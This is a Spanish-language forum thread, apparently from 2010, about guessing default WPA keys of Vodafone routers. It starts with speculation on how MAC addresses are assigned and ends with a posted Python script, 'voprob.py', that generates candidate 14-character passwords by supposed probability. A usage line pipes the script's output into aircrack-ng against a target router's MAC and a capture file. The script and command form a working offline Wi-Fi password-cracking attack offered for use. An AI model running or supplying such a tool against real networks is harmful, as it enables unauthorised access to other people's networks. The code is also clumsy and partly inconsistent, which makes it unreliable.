¿qué orden llevan los tres últimos pares de las macs? ¿Qué patrón siguen?.
Ej.
A estos pares: 12:AB:CD qué orden sigue el siguiente.
Puede ser que continúe 12:AB:CE 12:AB:CF 12:AB:E0
Cuando llega al 12:AB:FF, ¿qué puede seguir? 12:AC:00 y así hasta 12:FF:FF y luego 13:00:00
Esto no és una afirmación, es una pregunta formulada a todos. ¿Me equivoco o és cierto?
Se supone que es así, como ya sabrás los tres primeros corresponden a la marca asignada, por ejemplo, los tres primeros pares desde 00:00:01 hasta 00:00:09 corresponden a Xerox si no recuerdo mal. Las 00:00:AA y las 00:55:00 también corresponden a Xerox. Los tres restantes, se supone que corresponden al modelo del producto, pero si no me equivoco el orden en que se usa queda a cargo de la empresa. Puede ir usandolos en orden, aleatorios o por grupos.
Es decir, la empresa que suministra routers a vodafone puede crear también tarjetas de red para las cuales se reservará ciertas direcciones, además puede suministrar router a otras empresas a parte de vodafone. Lo que intento decir es que si comienzas a contar desde 12:AB:FF hasta 13:00:00 puede que te encuentres con MACs correspondientes a otros proveedores o incluso correspondientes a otros dispositivos que no sean routers. Y rizando el rizo, puede que te encuentres MACs que aún no se han usado.
http://hwaddress.com/mac/0024D2-000000.htmlLo que se deduce es que la relacción entre MAC y PASS no es lógica exacta, pero puede tener relacción en cuanto a probabilidad
Sería interesante contar con unos pocos routers con número de serie correlativo, de éste modo podríamos saber el modo en el que usan las direcciones MAC y posiblemente encontrar un patrón entre esas contraseñas correlativas.
Yo desde luego no descarto la posibilidad que usen el timestamp o tiempo unix para generar la contraseña. Si ésto fuera así, el fabricante lo ha puesto difícil. Y no digo nada si al fabricante le ha dado por usar números aleatorios.
Saludos
Post Merge: [time]lun 08 nov 2010 11:40:48 GMT-1[/time]
Hola señoritas, hace unas semanas cree un script en python generador de contraseñas. Funciona por probabilidad así que no es la panacea ni mucho menos. Ofrece contraseñas en orden de probabilidad en vez de ir desde 00000000000000 hasta ZZZZZZZZZZZZZZ. No es el objetivo de este post, pero lo subo de igual manera al parecerme curioso. Además, os reto a que mejoréis el script (se que se puede)
¿Como funciona? Fácil, sabéis que es más probable una contraseña de sólo letras a una de letras y números, a la vez es más probable una contraseña de letras y un número que letras y 2 números. También es más probable no encontrar letras repetidas consecutivas. Pues bien, alguna de estas características trata el script:
voprob.py:
#!/usr/bin/env python
import random
import binascii
import time
class VGen:
def __init__(self):
self.test2=['30', '31', '32', '33',
'34', '35', '36', '37', '38',
'39', '41', '42', '43', '44', '45',
'46', '47', '48', '49', '4a',
'4b', '4c', '4d', '4e', '4f',
'50', '51', '52', '53', '54',
'55', '56', '57', '58', '59',
'5a']
self.d1=['41', '42', '43','30']
self.d2=['43', '44', '45','31']
self.d3=['45', '46', '47','32']
self.d4=['47', '48', '49','33']
self.d5=['49', '4a', '4b','34']
self.d6=['4b', '4c', '4d','35']
self.d7=['4d', '4e', '4f','36']
self.d8=['4f', '50', '51','37']
self.d9=['51', '52', '53','39']
self.d10=['53', '54', '55','39']
self.d11=['55', '56', '57']
self.d12=['57', '58', '58']
self.d13=['59', '5a', '30']
self.d14=['30', '31','32', '33','34', '35','36', '37','38','39']
self.tam=3 #son dos, 0 y 1
self.tam2=2
self.tam3=9
self.aa = -1
self.bb = -1
self.cc = -1
self.dd = -1
self.ee = -1
self.ff = -1
self.gg = -1
self.hh = -1
self.ii = -1
self.jj = -1
self.kk = -1
self.ll = -1
self.mm = -1
self.nn = -1
self.generated=[]
def next(self):
while self.aa != self.tam: #1
self.aa = self.aa + 1
self.bb = -1
while self.bb != self.tam: #2
self.bb= self.bb + 1
self.cc = -1
while self.cc != self.tam: #3
self.cc = self.cc + 1
self.dd = -1
while self.dd != self.tam: #4
self.dd = self.dd + 1
self.ee = -1
while self.ee != self.tam: #5
self.ee = self.ee + 1
self.ff = -1
while self.ff != self.tam: #6
self.ff = self.ff + 1
self.gg = -1
while self.gg != self.tam: #7
self.gg = self.gg + 1
self.hh = -1
while self.hh != self.tam: #8
self.hh = self.hh + 1
self.ii = -1
while self.ii != self.tam: #9
self.ii = self.ii + 1
self.jj = -1
while self.jj != self.tam: #10
self.jj = self.jj + 1
self.kk = -1
while self.kk != self.tam2: #11
self.kk = self.kk + 1
self.ll = -1
while self.ll != self.tam2: #12
self.ll = self.ll + 1
self.mm = -1
while self.mm != self.tam2: #13
self.mm = self.mm + 1
self.nn = -1
while self.nn != self.tam3: #14
self.nn = self.nn + 1
self.generated=[]
self.generated.append(self.d1[self.aa])
self.generated.append(self.d2[self.bb])
self.generated.append(self.d2[self.cc])
self.generated.append(self.d4[self.dd])
self.generated.append(self.d5[self.ee])
self.generated.append(self.d6[self.ff])
self.generated.append(self.d7[self.gg])
self.generated.append(self.d8[self.hh])
self.generated.append(self.d9[self.ii])
self.generated.append(self.d10[self.jj])
self.generated.append(self.d11[self.kk])
self.generated.append(self.d12[self.ll])
self.generated.append(self.d13[self.mm])
self.generated.append(self.d14[self.nn])
total=0
for caracter in self.generated:
num=self.test2.index(caracter)
total=total+num
if total >= 249 and total <=400:
self.disorder(self.generated)
def disorder(self,generated):
alldata=[]
e=-1
torand=[0,1,2,3,4,5,6,7,8,9,10,11,12,13]
for i in range(0, 14):
e = e +1
time.sleep(1)
a = long(time.time() * 256) # use fractional seconds
random.seed(a)
random.shuffle(torand)
print torand
alldata.append([ generated[torand[0]], generated[torand[1]], generated[torand[2]], generated[torand[3]], generated[torand[4]], generated[torand[5]], generated[torand[6]], generated[torand[7]], generated[torand[8]], generated[torand[9]], generated[torand[10]], generated[torand[11]], generated[torand[12]], generated[torand[13]], ])
print alldata
tam=13
gg = -1
aa = -1
while aa != tam: #1
aa = aa + 1
if gg == 2: break
bb = -1
while bb != tam: #2
bb= bb + 1
if gg == 2: break
cc = -1
while cc != tam: #3
cc = cc + 1
if gg == 2: break
dd = -1
while dd != tam: #4
dd = dd + 1
if gg == 2: break
ee = -1
while ee != tam: #5
ee = ee + 1
if gg == 2: break
ff = -1
while ff != tam: #6
ff = ff + 1
if gg == 2: break
gg = -1
while gg != tam: #7
gg = gg + 1
if gg == 2: break #hasta aqui
hh = -1
while hh != tam: #8
hh = hh + 1
ii = -1
while ii != tam: #9
ii = ii + 1
jj = -1
while jj != tam: #10
jj = jj + 1
kk = -1
while kk != tam: #11
kk = kk + 1
ll = -1
while ll != tam: #12
ll = ll + 1
mm = -1
while mm != tam: #13
mm = mm + 1
nn = -1
while nn != tam: #14
nn = nn + 1
right=binascii.a2b_hex(alldata[0][aa]+alldata[1][bb]+alldata[2][cc]+alldata[3][dd]+alldata[4][ee]+alldata[5][ff]+alldata[6][gg]+alldata[7][hh]+alldata[8][ii]+alldata[9][jj]+alldata[10][kk]+alldata[11][ll]+alldata[12][mm]+alldata[13][nn])
unright=right[::-1]
print right
print unright
if __name__ == '__main__':
VG=VGen()
VG.next()
Forma de uso:
./voprob.py | /usr/bin/aircrack-ng -a 2 -b MACROUTER -w - CAPTURA.CAP
Saludos